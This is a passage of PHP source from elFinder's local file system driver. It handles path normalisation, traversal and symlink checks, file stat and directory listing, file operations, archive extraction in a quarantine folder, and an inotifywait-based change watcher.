            foreach (array('path', 'tmbPath', 'tmpPath', 'quarantine') as $key) {
                if (!empty($this->options[$key])) {
                    $this->options[$key] = str_replace('/', DIRECTORY_SEPARATOR, $this->options[$key]);
                }
            }
            // PHP >= 7.1 Supports UTF-8 path on Windows
            if (version_compare(PHP_VERSION, '7.1', '>=')) {
                $this->options['encoding'] = '';
                $this->options['locale'] = '';
            }
        }
        if (!$cwd = getcwd()) {
            return $this->setError('elFinder LocalVolumeDriver requires a result of getcwd().');
        }
        // detect systemRoot
        if (!isset($this->options['systemRoot'])) {
            if ($cwd[0] === DIRECTORY_SEPARATOR || $this->root[0] === DIRECTORY_SEPARATOR) {
                $this->systemRoot = DIRECTORY_SEPARATOR;
            } else if (preg_match('/^([a-zA-Z]:' . preg_quote(DIRECTORY_SEPARATOR, '/') . ')/', $this->root, $m)) {
                $this->systemRoot = $m[1];
            } else if (preg_match('/^([a-zA-Z]:' . preg_quote(DIRECTORY_SEPARATOR, '/') . ')/', $cwd, $m)) {
                $this->systemRoot = $m[1];
            }
        }
        $this->root = $this->getFullPath($this->root, $cwd);
        if (!empty($this->options['startPath'])) {
            $this->options['startPath'] = $this->getFullPath($this->options['startPath'], $this->root);
        }

        if (is_null($this->options['syncChkAsTs'])) {
            $this->options['syncChkAsTs'] = true;
        }
        if (is_null($this->options['syncCheckFunc'])) {
            $this->options['syncCheckFunc'] = array($this, 'localFileSystemInotify');
        }
        // check 'statCorrector'
        if (empty($this->options['statCorrector']) || !is_callable($this->options['statCorrector'])) {
            $this->options['statCorrector'] = null;
        }

        return true;
    }

    /**
     * Configure after successfull mount.
     *
     * @return void
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function configure()
    {
        $hiddens = array();
        $root = $this->stat($this->root);

        // check thumbnails path
        if (!empty($this->options['tmbPath'])) {
            if (strpos($this->options['tmbPath'], DIRECTORY_SEPARATOR) === false) {
                $hiddens['tmb'] = $this->options['tmbPath'];
                $this->options['tmbPath'] = $this->_abspath($this->options['tmbPath']);
            } else {
                $this->options['tmbPath'] = $this->_normpath($this->options['tmbPath']);
            }
        }
        // check temp path
        if (!empty($this->options['tmpPath'])) {
            if (strpos($this->options['tmpPath'], DIRECTORY_SEPARATOR) === false) {
                $hiddens['temp'] = $this->options['tmpPath'];
                $this->options['tmpPath'] = $this->_abspath($this->options['tmpPath']);
            } else {
                $this->options['tmpPath'] = $this->_normpath($this->options['tmpPath']);
            }
        }
        // check quarantine path
        $_quarantine = '';
        if (!empty($this->options['quarantine'])) {
            if (strpos($this->options['quarantine'], DIRECTORY_SEPARATOR) === false) {
                //$hiddens['quarantine'] = $this->options['quarantine'];
                //$this->options['quarantine'] = $this->_abspath($this->options['quarantine']);
                $_quarantine = $this->_abspath($this->options['quarantine']);
                $this->options['quarantine'] = '';
            } else {
                $this->options['quarantine'] = $this->_normpath($this->options['quarantine']);
            }
        } else {
            $_quarantine = $this->_abspath('.quarantine');
        }
        is_dir($_quarantine) && self::localRmdirRecursive($_quarantine);

        parent::configure();

        // check tmbPath
        if (!$this->tmbPath && isset($hiddens['tmb'])) {
            unset($hiddens['tmb']);
        }

        // if no thumbnails url - try detect it
        if ($root['read'] && !$this->tmbURL && $this->URL) {
            if (strpos($this->tmbPath, $this->root) === 0) {
                $this->tmbURL = $this->URL . str_replace(DIRECTORY_SEPARATOR, '/', substr($this->tmbPath, strlen($this->root) + 1));
                if (preg_match("|[^/?&=]$|", $this->tmbURL)) {
                    $this->tmbURL .= '/';
                }
            }
        }

        // set $this->tmp by options['tmpPath']
        $this->tmp = '';
        if (!empty($this->options['tmpPath'])) {
            if ((is_dir($this->options['tmpPath']) || mkdir($this->options['tmpPath'], $this->options['dirMode'], true)) && is_writable($this->options['tmpPath'])) {
                $this->tmp = $this->options['tmpPath'];
            } else {
                if (isset($hiddens['temp'])) {
                    unset($hiddens['temp']);
                }
            }
        }
        if (!$this->tmp && ($tmp = elFinder::getStaticVar('commonTempPath'))) {
            $this->tmp = $tmp;
        }

        // check quarantine dir
        $this->quarantine = '';
        if (!empty($this->options['quarantine'])) {
            if ((is_dir($this->options['quarantine']) || mkdir($this->options['quarantine'], $this->options['dirMode'], true)) && is_writable($this->options['quarantine'])) {
                $this->quarantine = $this->options['quarantine'];
            } else {
                if (isset($hiddens['quarantine'])) {
                    unset($hiddens['quarantine']);
                }
            }
        } else if ($_path = elFinder::getCommonTempPath()) {
            $this->quarantine = $_path;
        }

        if (!$this->quarantine) {
            if (!$this->tmp) {
                $this->archivers['extract'] = array();
                $this->disabled[] = 'extract';
            } else {
                $this->quarantine = $this->tmp;
            }
        }

        if ($hiddens) {
            foreach ($hiddens as $hidden) {
                $this->attributes[] = array(
                    'pattern' => '~^' . preg_quote(DIRECTORY_SEPARATOR . $hidden, '~') . '$~',
                    'read' => false,
                    'write' => false,
                    'locked' => true,
                    'hidden' => true
                );
            }
        }

        if (!empty($this->options['keepTimestamp'])) {
            $this->options['keepTimestamp'] = array_flip($this->options['keepTimestamp']);
        }

        $this->statOwner = (!empty($this->options['statOwner']));

        // enable WinRemoveTailDots plugin on Windows server
        if (DIRECTORY_SEPARATOR !== '/') {
            if (!isset($this->options['plugin'])) {
                $this->options['plugin'] = array();
            }
            $this->options['plugin']['WinRemoveTailDots'] = array('enable' => true);
        }
    }

    /**
     * Long pooling sync checker
     * This function require server command `inotifywait`
     * If `inotifywait` need full path, Please add `define('ELFINER_INOTIFYWAIT_PATH', '/PATH_TO/inotifywait');` into connector.php
     *
     * @param string $path
     * @param int    $standby
     * @param number $compare
     *
     * @return number|bool
     * @throws elFinderAbortException
     */
    public function localFileSystemInotify($path, $standby, $compare)
    {
        if (isset($this->sessionCache['localFileSystemInotify_disable'])) {
            return false;
        }
        $path = realpath($path);
        $mtime = filemtime($path);
        if (!$mtime) {
            return false;
        }
        if ($mtime != $compare) {
            return $mtime;
        }
        $inotifywait = defined('ELFINER_INOTIFYWAIT_PATH') ? ELFINER_INOTIFYWAIT_PATH : 'inotifywait';
        $standby = max(1, intval($standby));
        $cmd = $inotifywait . ' ' . escapeshellarg($path) . ' -t ' . $standby . ' -e moved_to,moved_from,move,close_write,delete,delete_self';
        $this->procExec($cmd, $o, $r);
        if ($r === 0) {
            // changed
            clearstatcache();
            if (file_exists($path)) {
                $mtime = filemtime($path); // error on busy?
                return $mtime ? $mtime : time();
            } else {
                // target was removed
                return 0;
            }
        } else if ($r === 2) {
            // not changed (timeout)
            return $compare;
        }
        // error
        // cache to $_SESSION
        $this->sessionCache['localFileSystemInotify_disable'] = true;
        $this->session->set($this->id, $this->sessionCache);
        return false;
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /*********************** paths/urls *************************/

    /**
     * Return parent directory path
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _dirname($path)
    {
        return dirname($path);
    }

    /**
     * Return file name
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _basename($path)
    {
        return basename($path);
    }

    /**
     * Join dir name and file name and retur full path
     *
     * @param  string $dir
     * @param  string $name
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _joinPath($dir, $name)
    {
        $dir = rtrim($dir, DIRECTORY_SEPARATOR);
        $path = realpath($dir . DIRECTORY_SEPARATOR . $name);
        // realpath() returns FALSE if the file does not exist
        if ($path === false || strpos($path, $this->root) !== 0) {
            if (DIRECTORY_SEPARATOR !== '/') {
                $name = str_replace('/', DIRECTORY_SEPARATOR, $name);
            }
            // Directory traversal measures
            if (strpos($name, '..' . DIRECTORY_SEPARATOR) !== false) {
                $name = basename($name);
            }
            $path = $dir . DIRECTORY_SEPARATOR . $name;
        }
        return $path; 
    }

    /**
     * Return normalized path, this works the same as os.path.normpath() in Python
     *
     * @param  string $path path
     *
     * @return string
     * @author Troex Nevelin
     **/
    protected function _normpath($path)
    {
        if (empty($path)) {
            return '.';
        }

        $changeSep = (DIRECTORY_SEPARATOR !== '/');
        if ($changeSep) {
            $drive = '';
            if (preg_match('/^([a-zA-Z]:)(.*)/', $path, $m)) {
                $drive = $m[1];
                $path = $m[2] ? $m[2] : '/';
            }
            $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        }

        if (strpos($path, '/') === 0) {
            $initial_slashes = true;
        } else {
            $initial_slashes = false;
        }

        if (($initial_slashes)
            && (strpos($path, '//') === 0)
            && (strpos($path, '///') === false)) {
            $initial_slashes = 2;
        }

        $initial_slashes = (int)$initial_slashes;

        $comps = explode('/', $path);
        $new_comps = array();
        foreach ($comps as $comp) {
            if (in_array($comp, array('', '.'))) {
                continue;
            }

            if (($comp != '..')
                || (!$initial_slashes && !$new_comps)
                || ($new_comps && (end($new_comps) == '..'))) {
                array_push($new_comps, $comp);
            } elseif ($new_comps) {
                array_pop($new_comps);
            }
        }
        $comps = $new_comps;
        $path = implode('/', $comps);
        if ($initial_slashes) {
            $path = str_repeat('/', $initial_slashes) . $path;
        }

        if ($changeSep) {
            $path = $drive . str_replace('/', DIRECTORY_SEPARATOR, $path);
        }

        return $path ? $path : '.';
    }

    /**
     * Return file path related to root dir
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _relpath($path)
    {
        if ($path === $this->root) {
            return '';
        } else {
            if (strpos($path, $this->root) === 0) {
                return ltrim(substr($path, strlen($this->root)), DIRECTORY_SEPARATOR);
            } else {
                // for link
                return $path;
            }
        }
    }

    /**
     * Convert path related to root dir into real path
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _abspath($path)
    {
        if ($path === DIRECTORY_SEPARATOR) {
            return $this->root;
        } else {
            $path = $this->_normpath($path);
            if (strpos($path, $this->systemRoot) === 0) {
                return $path;
            } else if (DIRECTORY_SEPARATOR !== '/' && preg_match('/^[a-zA-Z]:' . preg_quote(DIRECTORY_SEPARATOR, '/') . '/', $path)) {
                return $path;
            } else {
                return $this->_joinPath($this->root, $path);
            }
        }
    }

    /**
     * Return fake path started from root dir
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _path($path)
    {
        return $this->rootName . ($path == $this->root ? '' : $this->separator . $this->_relpath($path));
    }

    /**
     * Return true if $path is children of $parent
     *
     * @param  string $path   path to check
     * @param  string $parent parent path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _inpath($path, $parent)
    {
        $cwd = getcwd();
        $real_path = $this->getFullPath($path, $cwd);
        $real_parent = $this->getFullPath($parent, $cwd);
        if ($real_path && $real_parent) {
            return $real_path === $real_parent || strpos($real_path, rtrim($real_parent, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR) === 0;
        }
        return false;
    }



    /***************** file stat ********************/

    /**
     * Return stat for given path.
     * Stat contains following fields:
     * - (int)    size    file size in b. required
     * - (int)    ts      file modification time in unix time. required
     * - (string) mime    mimetype. required for folders, others - optionally
     * - (bool)   read    read permissions. required
     * - (bool)   write   write permissions. required
     * - (bool)   locked  is object locked. optionally
     * - (bool)   hidden  is object hidden. optionally
     * - (string) alias   for symlinks - link target path relative to root path. optionally
     * - (string) target  for symlinks - link target path. optionally
     * If file does not exists - returns empty array or false.
     *
     * @param  string $path file path
     *
     * @return array|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _stat($path)
    {
        $stat = array();

        if (!file_exists($path) && !is_link($path)) {
            return $stat;
        }

        //Verifies the given path is the root or is inside the root. Prevents directory traveral.
        if (!$this->_inpath($path, $this->root)) {
            return $stat;
        }

        $stat['isowner'] = false;
        $linkreadable = false;
        if ($path != $this->root && is_link($path)) {
            if (!$this->options['followSymLinks']) {
                return array();
            }
            if (!($target = $this->readlink($path))
                || $target == $path) {
                if (is_null($target)) {
                    $stat = array();
                    return $stat;
                } else {
                    $stat['mime'] = 'symlink-broken';
                    $target = readlink($path);
                    $lstat = lstat($path);
                    $ostat = $this->getOwnerStat($lstat['uid'], $lstat['gid']);
                    $linkreadable = !empty($ostat['isowner']);
                }
            }
            $stat['alias'] = $this->_path($target);
            $stat['target'] = $target;
        }

        $readable = is_readable($path);

        if ($readable) {
            $size = sprintf('%u', filesize($path));
            $stat['ts'] = filemtime($path);
            if ($this->statOwner) {
                $fstat = stat($path);
                $uid = $fstat['uid'];
                $gid = $fstat['gid'];
                $stat['perm'] = substr((string)decoct($fstat['mode']), -4);
                $stat = array_merge($stat, $this->getOwnerStat($uid, $gid));
            }
        }

        if (($dir = is_dir($path)) && $this->options['detectDirIcon']) {
            $favicon = $path . DIRECTORY_SEPARATOR . $this->options['detectDirIcon'];
            if ($this->URL && file_exists($favicon)) {
                $stat['icon'] = $this->URL . str_replace(DIRECTORY_SEPARATOR, '/', substr($favicon, strlen($this->root) + 1));
            }
        }

        if (!isset($stat['mime'])) {
            $stat['mime'] = $dir ? 'directory' : $this->mimetype($path);
        }
        //logical rights first
        $stat['read'] = ($linkreadable || $readable) ? null : false;
        $stat['write'] = is_writable($path) ? null : false;

        if (is_null($stat['read'])) {
            if ($dir) {
                $stat['size'] = 0;
            } else if (isset($size)) {
                $stat['size'] = $size;
            }
        }

        if ($this->options['statCorrector']) {
            call_user_func_array($this->options['statCorrector'], array(&$stat, $path, $this->statOwner, $this));
        }

        return $stat;
    }

    /**
     * Get stat `owner`, `group` and `isowner` by `uid` and `gid`
     * Sub-fuction of _stat() and _scandir()
     *
     * @param integer $uid
     * @param integer $gid
     *
     * @return array  stat
     */
    protected function getOwnerStat($uid, $gid)
    {
        static $names = null;
        static $phpuid = null;

        if (is_null($names)) {
            $names = array('uid' => array(), 'gid' => array());
        }
        if (is_null($phpuid)) {
            if (is_callable('posix_getuid')) {
                $phpuid = posix_getuid();
            } else {
                $phpuid = 0;
            }
        }

        $stat = array();

        if ($uid) {
            $stat['isowner'] = ($phpuid == $uid);
            if (isset($names['uid'][$uid])) {
                $stat['owner'] = $names['uid'][$uid];
            } else if (is_callable('posix_getpwuid')) {
                $pwuid = posix_getpwuid($uid);
                $stat['owner'] = $names['uid'][$uid] = $pwuid['name'];
            } else {
                $stat['owner'] = $names['uid'][$uid] = $uid;
            }
        }
        if ($gid) {
            if (isset($names['gid'][$gid])) {
                $stat['group'] = $names['gid'][$gid];
            } else if (is_callable('posix_getgrgid')) {
                $grgid = posix_getgrgid($gid);
                $stat['group'] = $names['gid'][$gid] = $grgid['name'];
            } else {
                $stat['group'] = $names['gid'][$gid] = $gid;
            }
        }

        return $stat;
    }

    /**
     * Return true if path is dir and has at least one childs directory
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _subdirs($path)
    {

        $dirs = false;
        if (is_dir($path) && is_readable($path)) {
            if (class_exists('FilesystemIterator', false)) {
                $dirItr = new ParentIterator(
                    new RecursiveDirectoryIterator($path,
                        FilesystemIterator::SKIP_DOTS |
                        FilesystemIterator::CURRENT_AS_SELF |
                        (defined('RecursiveDirectoryIterator::FOLLOW_SYMLINKS') ?
                            RecursiveDirectoryIterator::FOLLOW_SYMLINKS : 0)
                    )
                );
                $dirItr->rewind();
                if ($dirItr->hasChildren()) {
                    $dirs = true;
                    $name = $dirItr->getSubPathName();
                    while ($dirItr->valid()) {
                        if (!$this->attr($path . DIRECTORY_SEPARATOR . $name, 'read', null, true)) {
                            $dirs = false;
                            $dirItr->next();
                            $name = $dirItr->getSubPathName();
                            continue;
                        }
                        $dirs = true;
                        break;
                    }
                }
            } else {
                $path = strtr($path, array('[' => '\\[', ']' => '\\]', '*' => '\\*', '?' => '\\?'));
                return (bool)glob(rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '*', GLOB_ONLYDIR);
            }
        }
        return $dirs;
    }

    /**
     * Return object width and height
     * Usualy used for images, but can be realize for video etc...
     *
     * @param  string $path file path
     * @param  string $mime file mime type
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _dimensions($path, $mime)
    {
        clearstatcache();
        return strpos($mime, 'image') === 0 && is_readable($path) && filesize($path) && ($s = getimagesize($path)) !== false
            ? $s[0] . 'x' . $s[1]
            : false;
    }
    /******************** file/dir content *********************/

    /**
     * Return symlink target file
     *
     * @param  string $path link path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function readlink($path)
    {
        if (!($target = readlink($path))) {
            return null;
        }

        if (strpos($target, $this->systemRoot) !== 0) {
            $target = $this->_joinPath(dirname($path), $target);
        }

        if (!file_exists($target)) {
            return false;
        }

        return $target;
    }

    /**
     * Return files list in directory.
     *
     * @param  string $path dir path
     *
     * @return array
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function _scandir($path)
    {
        elFinder::checkAborted();
        $files = array();
        $cache = array();
        $dirWritable = is_writable($path);
        $dirItr = array();
        $followSymLinks = $this->options['followSymLinks'];
        try {
            $dirItr = new DirectoryIterator($path);
        } catch (UnexpectedValueException $e) {
        }

        foreach ($dirItr as $file) {
            try {
                if ($file->isDot()) {
                    continue;
                }

                $files[] = $fpath = $file->getPathname();

                $br = false;
                $stat = array();

                $stat['isowner'] = false;
                $linkreadable = false;
                if ($file->isLink()) {
                    if (!$followSymLinks) {
                        continue;
                    }
                    if (!($target = $this->readlink($fpath))
                        || $target == $fpath) {
                        if (is_null($target)) {
                            $stat = array();
                            $br = true;
                        } else {
                            $_path = $fpath;
                            $stat['mime'] = 'symlink-broken';
                            $target = readlink($_path);
                            $lstat = lstat($_path);
                            $ostat = $this->getOwnerStat($lstat['uid'], $lstat['gid']);
                            $linkreadable = !empty($ostat['isowner']);
                            $dir = false;
                            $stat['alias'] = $this->_path($target);
                            $stat['target'] = $target;
                        }
                    } else {
                        $dir = is_dir($target);
                        $stat['alias'] = $this->_path($target);
                        $stat['target'] = $target;
                        $stat['mime'] = $dir ? 'directory' : $this->mimetype($stat['alias']);
                    }
                } else {
                    if (($dir = $file->isDir()) && $this->options['detectDirIcon']) {
                        $path = $file->getPathname();
                        $favicon = $path . DIRECTORY_SEPARATOR . $this->options['detectDirIcon'];
                        if ($this->URL && file_exists($favicon)) {
                            $stat['icon'] = $this->URL . str_replace(DIRECTORY_SEPARATOR, '/', substr($favicon, strlen($this->root) + 1));
                        }
                    }
                    $stat['mime'] = $dir ? 'directory' : $this->mimetype($fpath);
                }
                $size = sprintf('%u', $file->getSize());
                $stat['ts'] = $file->getMTime();
                if (!$br) {
                    if ($this->statOwner && !$linkreadable) {
                        $uid = $file->getOwner();
                        $gid = $file->getGroup();
                        $stat['perm'] = substr((string)decoct($file->getPerms()), -4);
                        $stat = array_merge($stat, $this->getOwnerStat($uid, $gid));
                    }

                    //logical rights first
                    $stat['read'] = ($linkreadable || $file->isReadable()) ? null : false;
                    $stat['write'] = $file->isWritable() ? null : false;
                    $stat['locked'] = $dirWritable ? null : true;

                    if (is_null($stat['read'])) {
                        $stat['size'] = $dir ? 0 : $size;
                    }

                    if ($this->options['statCorrector']) {
                        call_user_func_array($this->options['statCorrector'], array(&$stat, $fpath, $this->statOwner, $this));
                    }
                }

                $cache[] = array($fpath, $stat);
            } catch (RuntimeException $e) {
                continue;
            }
        }

        if ($cache) {
            $cache = $this->convEncOut($cache, false);
            foreach ($cache as $d) {
                $this->updateCache($d[0], $d[1]);
            }
        }

        return $files;
    }

    /**
     * Open file and return file pointer
     *
     * @param  string $path file path
     * @param string  $mode
     *
     * @return false|resource
     * @internal param bool $write open file for writing
     * @author   Dmitry (dio) Levashov
     */
    protected function _fopen($path, $mode = 'rb')
    {
        return fopen($path, $mode);
    }

    /**
     * Close opened file
     *
     * @param  resource $fp file pointer
     * @param string    $path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     */
    protected function _fclose($fp, $path = '')
    {
        return (is_resource($fp) && fclose($fp));
    }

    /********************  file/dir manipulations *************************/

    /**
     * Create dir and return created dir path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new directory name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkdir($path, $name)
    {
        $path = $this->_joinPath($path, $name);

        if (mkdir($path)) {
            chmod($path, $this->options['dirMode']);
            return $path;
        }

        return false;
    }

    /**
     * Create file and return it's path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new file name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkfile($path, $name)
    {
        $path = $this->_joinPath($path, $name);

        if (($fp = fopen($path, 'w'))) {
            fclose($fp);
            chmod($path, $this->options['fileMode']);
            return $path;
        }
        return false;
    }

    /**
     * Create symlink
     *
     * @param  string $source    file to link to
     * @param  string $targetDir folder to create link in
     * @param  string $name      symlink name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _symlink($source, $targetDir, $name)
    {
        return symlink($source, $this->_joinPath($targetDir, $name));
    }

    /**
     * Copy file into another file
     *
     * @param  string $source    source file path
     * @param  string $targetDir target directory path
     * @param  string $name      new file name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _copy($source, $targetDir, $name)
    {
        $mtime = filemtime($source);
        $target = $this->_joinPath($targetDir, $name);
        if ($ret = copy($source, $target)) {
            isset($this->options['keepTimestamp']['copy']) && $mtime && touch($target, $mtime);
        }
        return $ret;
    }

    /**
     * Move file into another parent dir.
     * Return new file path or false.
     *
     * @param  string $source source file path
     * @param         $targetDir
     * @param  string $name   file name
     *
     * @return bool|string
     * @internal param string $target target dir path
     * @author   Dmitry (dio) Levashov
     */
    protected function _move($source, $targetDir, $name)
    {
        $mtime = filemtime($source);
        $target = $this->_joinPath($targetDir, $name);
        if ($ret = rename($source, $target) ? $target : false) {
            isset($this->options['keepTimestamp']['move']) && $mtime && touch($target, $mtime);
        }
        return $ret;
    }

    /**
     * Remove file
     *
     * @param  string $path file path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _unlink($path)
    {
        return is_file($path) && unlink($path);
    }

    /**
     * Remove dir
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _rmdir($path)
    {
        return rmdir($path);
    }

    /**
     * Create new file and write into it from file pointer.
     * Return new file path or false on error.
     *
     * @param  resource $fp   file pointer
     * @param  string   $dir  target dir path
     * @param  string   $name file name
     * @param  array    $stat file stat (required by some virtual fs)
     *
     * @return bool|string
     * @author Dmitry (dio) Levashov
     **/
    protected function _save($fp, $dir, $name, $stat)
    {
        $path = $this->_joinPath($dir, $name);

        $meta = stream_get_meta_data($fp);
        $uri = isset($meta['uri']) ? $meta['uri'] : '';
        if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {
            fclose($fp);
            $mtime = filemtime($uri);
            $isCmdPaste = ($this->ARGS['cmd'] === 'paste');
            $isCmdCopy = ($isCmdPaste && empty($this->ARGS['cut']));
            if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) {
                return false;
            }
            // keep timestamp on upload
            if ($mtime && $this->ARGS['cmd'] === 'upload') {
                touch($path, isset($this->options['keepTimestamp']['upload']) ? $mtime : time());
            }
        } else {
            if (file_put_contents($path, $fp, LOCK_EX) === false) {
                return false;
            }
        }

        chmod($path, $this->options['fileMode']);
        return $path;
    }

    /**
     * Get file contents
     *
     * @param  string $path file path
     *
     * @return string|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _getContents($path)
    {
        return file_get_contents($path);
    }

    /**
     * Write a string to a file
     *
     * @param  string $path    file path
     * @param  string $content new file content
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _filePutContents($path, $content)
    {
        return (file_put_contents($path, $content, LOCK_EX) !== false);
    }

    /**
     * Detect available archivers
     *
     * @return void
     * @throws elFinderAbortException
     */
    protected function _checkArchivers()
    {
        $this->archivers = $this->getArchivers();
        return;
    }

    /**
     * chmod availability
     *
     * @param string $path
     * @param string $mode
     *
     * @return bool
     */
    protected function _chmod($path, $mode)
    {
        $modeOct = is_string($mode) ? octdec($mode) : octdec(sprintf("%04o", $mode));
        return chmod($path, $modeOct);
    }

    /**
     * Recursive symlinks search
     *
     * @param  string $path file/dir path
     *
     * @return bool
     * @throws Exception
     * @author Dmitry (dio) Levashov
     */
    protected function _findSymlinks($path)
    {
        return self::localFindSymlinks($path);
    }

    /**
     * Extract files from archive
     *
     * @param  string $path archive path
     * @param  array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return array|string|boolean
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _extract($path, $arc)
    {

        if ($this->quarantine) {

            $dir = $this->quarantine . DIRECTORY_SEPARATOR . md5(basename($path) . mt_rand());
            $archive = (isset($arc['toSpec']) || $arc['cmd'] === 'phpfunction') ? '' : $dir . DIRECTORY_SEPARATOR . basename($path);

            if (!mkdir($dir)) {
                return false;
            }

            // insurance unexpected shutdown
            register_shutdown_function(array($this, 'rmdirRecursive'), realpath($dir));

            chmod($dir, 0777);

            // copy in quarantine
            if (!is_readable($path) || ($archive && !copy($path, $archive))) {
                return false;
            }

            // extract in quarantine
            try {
                $this->unpackArchive($path, $arc, $archive ? true : $dir);
            } catch(Exception $e) {
                return $this->setError($e->getMessage());
            }

            // get files list
            try {
                $ls = self::localScandir($dir);
            } catch (Exception $e) {
                return false;
            }

            // no files - extract error ?
            if (empty($ls)) {
                return false;
            }

            $this->archiveSize = 0;

            // find symlinks and check extracted items
            $checkRes = $this->checkExtractItems($dir);
            if ($checkRes['symlinks']) {
                self::localRmdirRecursive($dir);
                return $this->setError(array_merge($this->error, array(elFinder::ERROR_ARC_SYMLINKS)));
            }
            $this->archiveSize = $checkRes['totalSize'];
            if ($checkRes['rmNames']) {
                foreach ($checkRes['rmNames'] as $name) {
                    $this->addError(elFinder::ERROR_SAVE, $name);
                }
            }

            // check max files size
            if ($this->options['maxArcFilesSize'] > 0 && $this->options['maxArcFilesSize'] < $this->archiveSize) {
                $this->delTree($dir);
                return $this->setError(elFinder::ERROR_ARC_MAXSIZE);
            }

            $extractTo = $this->extractToNewdir; // 'auto', ture or false

            // archive contains one item - extract in archive dir
            $name = '';
            $src = $dir . DIRECTORY_SEPARATOR . $ls[0];
            if (($extractTo === 'auto' || !$extractTo) && count($ls) === 1 && is_file($src)) {
                $name = $ls[0];
            } else if ($extractTo === 'auto' || $extractTo) {
                // for several files - create new directory
                // create unique name for directory
                $src = $dir;
                $splits = elFinder::splitFileExtention(basename($path));
                $name = $splits[0];
                $test = dirname($path) . DIRECTORY_SEPARATOR . $name;
                if (file_exists($test) || is_link($test)) {
                    $name = $this->uniqueName(dirname($path), $name, '-', false);
                }
            }

            if ($name !== '') {
                $result = dirname($path) . DIRECTORY_SEPARATOR . $name;

                if (!rename($src, $result)) {
                    $this->delTree($dir);
                    return false;
                }
            } else {
                $dstDir = dirname($path);
                $result = array();
                foreach ($ls as $name) {
                    $target = $dstDir . DIRECTORY_SEPARATOR . $name;
                    if (self::localMoveRecursive($dir . DIRECTORY_SEPARATOR . $name, $target, true, $this->options['copyJoin'])) {
                        $result[] = $target;
                    }
                }
                if (!$result) {
                    $this->delTree($dir);
                    return false;
                }
            }

            is_dir($dir) && $this->delTree($dir);

            return (is_array($result) || file_exists($result)) ? $result : false;
        }
        //TODO: Add return statement here
        return false;
    }

    /**
     * Create archive and return its path
     *
     * @param  string $dir   target dir
     * @param  array  $files files names list
     * @param  string $name  archive name
     * @param  array  $arc   archiver options
     *
     * @return string|bool
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _archive($dir, $files, $name, $arc)
    {
        return $this->makeArchive($dir, $files, $name, $arc);
    }

    /******************** Over write functions *************************/

    /**
     * File path of local server side work file path
     *
     * @param  string $path
     *
     * @return string
     * @author Naoki Sawada
     */
    protected function getWorkFile($path)
    {
        return $path;
    }

    /**
     * Delete dirctory trees
     *
     * @param string $localpath path need convert encoding to server encoding
     *
     * @return boolean
     * @throws elFinderAbortException
     * @author Naoki Sawada
     */
    protected function delTree($localpath)
    {
        return $this->rmdirRecursive($localpath);
    }

    /**
     * Return fileinfo based on filename
     * For item ID based path file system
     * Please override if needed on each drivers
     *
     * @param  string $path file cache
     *
     * @return array|boolean false
     */
    protected function isNameExists($path)
    {
        $exists = file_exists($this->convEncIn($path));
        // restore locale
        $this->convEncOut();
        return $exists ? $this->stat($path) : false;
    }

    /******************** Over write (Optimized) functions *************************/

    /**
     * Recursive files search
     *
     * @param  string $path dir path
     * @param  string $q    search string
     * @param  array  $mimes
     *
     * @return array
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     * @author Naoki Sawada
     */
    protected function doSearch($path, $q, $mimes)
    {
        if (!empty($this->doSearchCurrentQuery['matchMethod']) || $this->encoding || !class_exists('FilesystemIterator', false)) {
            // has custom match method or non UTF-8, use elFinderVolumeDriver::doSearch()
            return parent::doSearch($path, $q, $mimes);
        }

        $result = array();

        $timeout = $this->options['searchTimeout'] ? $this->searchStart + $this->options['searchTimeout'] : 0;
        if ($timeout && $timeout < time()) {
            $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->path($this->encode($path)));
            return $result;
        }
        elFinder::extendTimeLimit($this->options['searchTimeout'] + 30);

        $match = array();
        try {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveCallbackFilterIterator(
                    new RecursiveDirectoryIterator($path,
                        FilesystemIterator::KEY_AS_PATHNAME |
                        FilesystemIterator::SKIP_DOTS |
                        ((defined('RecursiveDirectoryIterator::FOLLOW_SYMLINKS') && $this->options['followSymLinks']) ?
                            RecursiveDirectoryIterator::FOLLOW_SYMLINKS : 0)
                    ),
